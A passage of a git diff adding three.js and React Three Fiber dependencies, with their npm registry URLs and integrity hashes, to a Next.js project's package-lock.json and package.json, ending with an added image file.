"integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"require-from-string": "^2.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/buffer": {
|
||||
"version": "6.0.3",
|
||||
"resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
|
||||
"integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"base64-js": "^1.3.1",
|
||||
"ieee754": "^1.2.1"
|
||||
}
|
||||
},
|
||||
"node_modules/camera-controls": {
|
||||
"version": "3.1.2",
|
||||
"resolved": "https://registry.npmjs.org/camera-controls/-/camera-controls-3.1.2.tgz",
|
||||
"integrity": "sha512-xkxfpG2ECZ6Ww5/9+kf4mfg1VEYAoe9aDSY+IwF0UEs7qEzwy0aVRfs2grImIECs/PoBtWFrh7RXsQkwG922JA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=22.0.0",
|
||||
"npm": ">=10.5.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.126.1"
|
||||
}
|
||||
},
|
||||
"node_modules/caniuse-lite": {
|
||||
"version": "1.0.30001777",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001777.tgz",
|
||||
@@ -1059,13 +1329,53 @@
|
||||
"node": ">=6"
|
||||
}
|
||||
},
|
||||
"node_modules/cross-env": {
|
||||
"version": "7.0.3",
|
||||
"resolved": "https://registry.npmjs.org/cross-env/-/cross-env-7.0.3.tgz",
|
||||
"integrity": "sha512-+/HKd6EgcQCJGh2PSjZuUitQBQynKor4wrFbRg4DtAgS1aWO+gU52xpH7M9ScGgXSYmAVS9bIJ8EzuaGw0oNAw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"cross-spawn": "^7.0.1"
|
||||
},
|
||||
"bin": {
|
||||
"cross-env": "src/bin/cross-env.js",
|
||||
"cross-env-shell": "src/bin/cross-env-shell.js"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.14",
|
||||
"npm": ">=6",
|
||||
"yarn": ">=1"
|
||||
}
|
||||
},
|
||||
"node_modules/cross-spawn": {
|
||||
"version": "7.0.6",
|
||||
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
|
||||
"integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"path-key": "^3.1.0",
|
||||
"shebang-command": "^2.0.0",
|
||||
"which": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/csstype": {
|
||||
"version": "3.2.3",
|
||||
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
|
||||
"integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/detect-gpu": {
|
||||
"version": "5.0.70",
|
||||
"resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz",
|
||||
"integrity": "sha512-bqerEP1Ese6nt3rFkwPnGbsUF9a4q+gMmpTVVOEzoCyeCc+y7/RvJnQZJx1JwhgQI5Ntg0Kgat8Uu7XpBqnz1w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"webgl-constants": "^1.1.1"
|
||||
}
|
||||
},
|
||||
"node_modules/detect-libc": {
|
||||
"version": "2.1.2",
|
||||
"resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
|
||||
@@ -1076,6 +1386,12 @@
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/draco3d": {
|
||||
"version": "1.5.7",
|
||||
"resolved": "https://registry.npmjs.org/draco3d/-/draco3d-1.5.7.tgz",
|
||||
"integrity": "sha512-m6WCKt/erDXcw+70IJXnG7M3awwQPAsZvJGX5zY7beBqpELw6RDGkYVU0W43AFxye4pDZ5i2Lbyc/NNGqwjUVQ==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/enhanced-resolve": {
|
||||
"version": "5.20.0",
|
||||
"resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.20.0.tgz",
|
||||
@@ -1090,6 +1406,18 @@
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/fflate": {
|
||||
"version": "0.8.2",
|
||||
"resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz",
|
||||
"integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/glsl-noise": {
|
||||
"version": "0.0.0",
|
||||
"resolved": "https://registry.npmjs.org/glsl-noise/-/glsl-noise-0.0.0.tgz",
|
||||
"integrity": "sha512-b/ZCF6amfAUb7dJM/MxRs7AetQEahYzJ8PtgfrmEdtw6uyGOr+ZSGtgjFm6mfsBkxJ4d2W7kg+Nlqzqvn3Bc0w==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/graceful-fs": {
|
||||
"version": "4.2.11",
|
||||
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
|
||||
@@ -1097,6 +1425,62 @@
|
||||
"dev": true,
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/hls.js": {
|
||||
"version": "1.6.15",
|
||||
"resolved": "https://registry.npmjs.org/hls.js/-/hls.js-1.6.15.tgz",
|
||||
"integrity": "sha512-E3a5VwgXimGHwpRGV+WxRTKeSp2DW5DI5MWv34ulL3t5UNmyJWCQ1KmLEHbYzcfThfXG8amBL+fCYPneGHC4VA==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/ieee754": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
|
||||
"integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "BSD-3-Clause"
|
||||
},
|
||||
"node_modules/immediate": {
|
||||
"version": "3.0.6",
|
||||
"resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
|
||||
"integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/is-promise": {
|
||||
"version": "2.2.2",
|
||||
"resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
|
||||
"integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/isexe": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
|
||||
"integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/its-fine": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/its-fine/-/its-fine-2.0.0.tgz",
|
||||
"integrity": "sha512-KLViCmWx94zOvpLwSlsx6yOCeMhZYaxrJV87Po5k/FoZzcPSahvK5qJ7fYhS61sZi5ikmh2S3Hz55A2l3U69ng==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/react-reconciler": "^0.28.9"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"react": "^19.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jiti": {
|
||||
"version": "2.6.1",
|
||||
"resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz",
|
||||
@@ -1107,6 +1491,15 @@
|
||||
"jiti": "lib/jiti-cli.mjs"
|
||||
}
|
||||
},
|
||||
"node_modules/lie": {
|
||||
"version": "3.3.0",
|
||||
"resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz",
|
||||
"integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"immediate": "~3.0.5"
|
||||
}
|
||||
},
|
||||
"node_modules/lightningcss": {
|
||||
"version": "1.31.1",
|
||||
"resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.31.1.tgz",
|
||||
@@ -1377,6 +1770,16 @@
|
||||
"react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc"
|
||||
}
|
||||
},
|
||||
"node_modules/maath": {
|
||||
"version": "0.10.8",
|
||||
"resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz",
|
||||
"integrity": "sha512-tRvbDF0Pgqz+9XUa4jjfgAQ8/aPKmQdWXilFu2tMy4GWj4NOsx99HlULO4IeREfbO3a0sA145DZYyvXPkybm0g==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@types/three": ">=0.134.0",
|
||||
"three": ">=0.134.0"
|
||||
}
|
||||
},
|
||||
"node_modules/magic-string": {
|
||||
"version": "0.30.21",
|
||||
"resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
|
||||
@@ -1387,6 +1790,21 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.5.5"
|
||||
}
|
||||
},
|
||||
"node_modules/meshline": {
|
||||
"version": "3.3.1",
|
||||
"resolved": "https://registry.npmjs.org/meshline/-/meshline-3.3.1.tgz",
|
||||
"integrity": "sha512-/TQj+JdZkeSUOl5Mk2J7eLcYTLiQm2IDzmlSvYm7ov15anEcDJ92GHqqazxTSreeNgfnYu24kiEvvv0WlbCdFQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">=0.137"
|
||||
}
|
||||
},
|
||||
"node_modules/meshoptimizer": {
|
||||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/meshoptimizer/-/meshoptimizer-1.0.1.tgz",
|
||||
"integrity": "sha512-Vix+QlA1YYT3FwmBBZ+49cE5y/b+pRrcXKqGpS5ouh33d3lSp2PoTpCw19E0cKDFWalembrHnIaZetf27a+W2g==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/nanoid": {
|
||||
"version": "3.3.11",
|
||||
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
|
||||
@@ -1495,6 +1913,15 @@
|
||||
"node": "^10 || ^12 || >=14"
|
||||
}
|
||||
},
|
||||
"node_modules/path-key": {
|
||||
"version": "3.1.1",
|
||||
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
|
||||
"integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/picocolors": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
|
||||
@@ -1530,6 +1957,22 @@
|
||||
"node": "^10 || ^12 || >=14"
|
||||
}
|
||||
},
|
||||
"node_modules/potpack": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/potpack/-/potpack-1.0.2.tgz",
|
||||
"integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/promise-worker-transferable": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz",
|
||||
"integrity": "sha512-bN+0ehEnrXfxV2ZQvU2PetO0n4gqBD4ulq3MI1WOPLgr7/Mg9yRQkX5+0v1vagr74ZTsl7XtzlaYDo2EuCeYJw==",
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"is-promise": "^2.1.0",
|
||||
"lie": "^3.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/react": {
|
||||
"version": "19.2.0",
|
||||
"resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz",
|
||||
@@ -1553,6 +1996,30 @@
|
||||
"react": "^19.2.0"
|
||||
}
|
||||
},
|
||||
"node_modules/react-use-measure": {
|
||||
"version": "2.1.7",
|
||||
"resolved": "https://registry.npmjs.org/react-use-measure/-/react-use-measure-2.1.7.tgz",
|
||||
"integrity": "sha512-KrvcAo13I/60HpwGO5jpW7E9DfusKyLPLvuHlUyP5zqnmAPhNc6qTRjUQrdTADl0lpPpDVU2/Gg51UlOGHXbdg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": ">=16.13",
|
||||
"react-dom": ">=16.13"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/require-from-string": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
|
||||
"integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=0.10.0"
|
||||
}
|
||||
},
|
||||
"node_modules/scheduler": {
|
||||
"version": "0.27.0",
|
||||
"resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
|
||||
@@ -1617,6 +2084,27 @@
|
||||
"@img/sharp-win32-x64": "0.34.5"
|
||||
}
|
||||
},
|
||||
"node_modules/shebang-command": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
|
||||
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"shebang-regex": "^3.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/shebang-regex": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
|
||||
"integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/source-map-js": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
|
||||
@@ -1626,6 +2114,32 @@
|
||||
"node": ">=0.10.0"
|
||||
}
|
||||
},
|
||||
"node_modules/stats-gl": {
|
||||
"version": "2.4.2",
|
||||
"resolved": "https://registry.npmjs.org/stats-gl/-/stats-gl-2.4.2.tgz",
|
||||
"integrity": "sha512-g5O9B0hm9CvnM36+v7SFl39T7hmAlv541tU81ME8YeSb3i1CIP5/QdDeSB3A0la0bKNHpxpwxOVRo2wFTYEosQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/three": "*",
|
||||
"three": "^0.170.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/three": "*",
|
||||
"three": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/stats-gl/node_modules/three": {
|
||||
"version": "0.170.0",
|
||||
"resolved": "https://registry.npmjs.org/three/-/three-0.170.0.tgz",
|
||||
"integrity": "sha512-FQK+LEpYc0fBD+J8g6oSEyyNzjp+Q7Ks1C568WWaoMRLW+TkNNWmenWeGgJjV105Gd+p/2ql1ZcjYvNiPZBhuQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/stats.js": {
|
||||
"version": "0.17.0",
|
||||
"resolved": "https://registry.npmjs.org/stats.js/-/stats.js-0.17.0.tgz",
|
||||
"integrity": "sha512-hNKz8phvYLPEcRkeG1rsGmV5ChMjKDAWU7/OJJdDErPBNChQXxCo3WZurGpnWc6gZhAzEPFad1aVgyOANH1sMw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/styled-jsx": {
|
||||
"version": "5.1.6",
|
||||
"resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.6.tgz",
|
||||
@@ -1649,6 +2163,15 @@
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/suspend-react": {
|
||||
"version": "0.1.3",
|
||||
"resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz",
|
||||
"integrity": "sha512-aqldKgX9aZqpoDp3e8/BZ8Dm7x1pJl+qI3ZKxDN0i/IQTWUwBx/ManmlVJ3wowqbno6c2bmiIfs+Um6LbsjJyQ==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": ">=17.0"
|
||||
}
|
||||
},
|
||||
"node_modules/tailwind-merge": {
|
||||
"version": "3.5.0",
|
||||
"resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.5.0.tgz",
|
||||
@@ -1680,12 +2203,118 @@
|
||||
"url": "https://opencollective.com/webpack"
|
||||
}
|
||||
},
|
||||
"node_modules/three": {
|
||||
"version": "0.183.2",
|
||||
"resolved": "https://registry.npmjs.org/three/-/three-0.183.2.tgz",
|
||||
"integrity": "sha512-di3BsL2FEQ1PA7Hcvn4fyJOlxRRgFYBpMTcyOgkwJIaDOdJMebEFPA+t98EvjuljDx4hNulAGwF6KIjtwI5jgQ==",
|
||||
"license": "MIT",
|
||||
"peer": true
|
||||
},
|
||||
"node_modules/three-mesh-bvh": {
|
||||
"version": "0.8.3",
|
||||
"resolved": "https://registry.npmjs.org/three-mesh-bvh/-/three-mesh-bvh-0.8.3.tgz",
|
||||
"integrity": "sha512-4G5lBaF+g2auKX3P0yqx+MJC6oVt6sB5k+CchS6Ob0qvH0YIhuUk1eYr7ktsIpY+albCqE80/FVQGV190PmiAg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">= 0.159.0"
|
||||
}
|
||||
},
|
||||
"node_modules/three-stdlib": {
|
||||
"version": "2.36.1",
|
||||
"resolved": "https://registry.npmjs.org/three-stdlib/-/three-stdlib-2.36.1.tgz",
|
||||
"integrity": "sha512-XyGQrFmNQ5O/IoKm556ftwKsBg11TIb301MB5dWNicziQBEs2g3gtOYIf7pFiLa0zI2gUwhtCjv9fmjnxKZ1Cg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/draco3d": "^1.4.0",
|
||||
"@types/offscreencanvas": "^2019.6.4",
|
||||
"@types/webxr": "^0.5.2",
|
||||
"draco3d": "^1.4.1",
|
||||
"fflate": "^0.6.9",
|
||||
"potpack": "^1.0.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.128.0"
|
||||
}
|
||||
},
|
||||
"node_modules/three-stdlib/node_modules/fflate": {
|
||||
"version": "0.6.10",
|
||||
"resolved": "https://registry.npmjs.org/fflate/-/fflate-0.6.10.tgz",
|
||||
"integrity": "sha512-IQrh3lEPM93wVCEczc9SaAOvkmcoQn/G8Bo1e8ZPlY3X3bnAxWaBdvTdvM1hP62iZp0BXWDy4vTAy4fF0+Dlpg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/troika-three-text": {
|
||||
"version": "0.52.4",
|
||||
"resolved": "https://registry.npmjs.org/troika-three-text/-/troika-three-text-0.52.4.tgz",
|
||||
"integrity": "sha512-V50EwcYGruV5rUZ9F4aNsrytGdKcXKALjEtQXIOBfhVoZU9VAqZNIoGQ3TMiooVqFAbR1w15T+f+8gkzoFzawg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"bidi-js": "^1.0.2",
|
||||
"troika-three-utils": "^0.52.4",
|
||||
"troika-worker-utils": "^0.52.0",
|
||||
"webgl-sdf-generator": "1.1.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.125.0"
|
||||
}
|
||||
},
|
||||
"node_modules/troika-three-utils": {
|
||||
"version": "0.52.4",
|
||||
"resolved": "https://registry.npmjs.org/troika-three-utils/-/troika-three-utils-0.52.4.tgz",
|
||||
"integrity": "sha512-NORAStSVa/BDiG52Mfudk4j1FG4jC4ILutB3foPnfGbOeIs9+G5vZLa0pnmnaftZUGm4UwSoqEpWdqvC7zms3A==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"three": ">=0.125.0"
|
||||
}
|
||||
},
|
||||
"node_modules/troika-worker-utils": {
|
||||
"version": "0.52.0",
|
||||
"resolved": "https://registry.npmjs.org/troika-worker-utils/-/troika-worker-utils-0.52.0.tgz",
|
||||
"integrity": "sha512-W1CpvTHykaPH5brv5VHLfQo9D1OYuo0cSBEUQFFT/nBUzM8iD6Lq2/tgG/f1OelbAS1WtaTPQzE5uM49egnngw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/tslib": {
|
||||
"version": "2.8.1",
|
||||
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
|
||||
"integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
|
||||
"license": "0BSD"
|
||||
},
|
||||
"node_modules/tunnel-rat": {
|
||||
"version": "0.1.2",
|
||||
"resolved": "https://registry.npmjs.org/tunnel-rat/-/tunnel-rat-0.1.2.tgz",
|
||||
"integrity": "sha512-lR5VHmkPhzdhrM092lI2nACsLO4QubF0/yoOhzX7c+wIpbN1GjHNzCc91QlpxBi+cnx8vVJ+Ur6vL5cEoQPFpQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"zustand": "^4.3.2"
|
||||
}
|
||||
},
|
||||
"node_modules/tunnel-rat/node_modules/zustand": {
|
||||
"version": "4.5.7",
|
||||
"resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz",
|
||||
"integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"use-sync-external-store": "^1.2.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=12.7.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/react": ">=16.8",
|
||||
"immer": ">=9.0.6",
|
||||
"react": ">=16.8"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"immer": {
|
||||
"optional": true
|
||||
},
|
||||
"react": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/tw-animate-css": {
|
||||
"version": "1.3.3",
|
||||
"resolved": "https://registry.npmjs.org/tw-animate-css/-/tw-animate-css-1.3.3.tgz",
|
||||
@@ -1716,6 +2345,79 @@
|
||||
"integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/use-sync-external-store": {
|
||||
"version": "1.6.0",
|
||||
"resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",
|
||||
"integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/utility-types": {
|
||||
"version": "3.11.0",
|
||||
"resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.11.0.tgz",
|
||||
"integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">= 4"
|
||||
}
|
||||
},
|
||||
"node_modules/webgl-constants": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/webgl-constants/-/webgl-constants-1.1.1.tgz",
|
||||
"integrity": "sha512-LkBXKjU5r9vAW7Gcu3T5u+5cvSvh5WwINdr0C+9jpzVB41cjQAP5ePArDtk/WHYdVj0GefCgM73BA7FlIiNtdg=="
|
||||
},
|
||||
"node_modules/webgl-sdf-generator": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/webgl-sdf-generator/-/webgl-sdf-generator-1.1.1.tgz",
|
||||
"integrity": "sha512-9Z0JcMTFxeE+b2x1LJTdnaT8rT8aEp7MVxkNwoycNmJWwPdzoXzMh0BjJSh/AEFP+KPYZUli814h8bJZFIZ2jA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/which": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
|
||||
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"isexe": "^2.0.0"
|
||||
},
|
||||
"bin": {
|
||||
"node-which": "bin/node-which"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/zustand": {
|
||||
"version": "5.0.12",
|
||||
"resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.12.tgz",
|
||||
"integrity": "sha512-i77ae3aZq4dhMlRhJVCYgMLKuSiZAaUPAct2AksxQ+gOtimhGMdXljRT21P5BNpeT4kXlLIckvkPM029OljD7g==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=12.20.0"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@types/react": ">=18.0.0",
|
||||
"immer": ">=9.0.6",
|
||||
"react": ">=18.0.0",
|
||||
"use-sync-external-store": ">=1.2.0"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"immer": {
|
||||
"optional": true
|
||||
},
|
||||
"react": {
|
||||
"optional": true
|
||||
},
|
||||
"use-sync-external-store": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,9 @@
|
||||
"start": "next start"
|
||||
},
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^10.7.7",
|
||||
"@react-three/fiber": "^9.5.0",
|
||||
"@types/three": "^0.183.1",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.454.0",
|
||||
@@ -15,7 +18,8 @@
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "19.2.0",
|
||||
"react-dom": "19.2.0",
|
||||
"tailwind-merge": "^3.3.1"
|
||||
"tailwind-merge": "^3.3.1",
|
||||
"three": "^0.183.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.1.9",
|
||||
|
||||
BIN
public/activity.png
Normal file
|
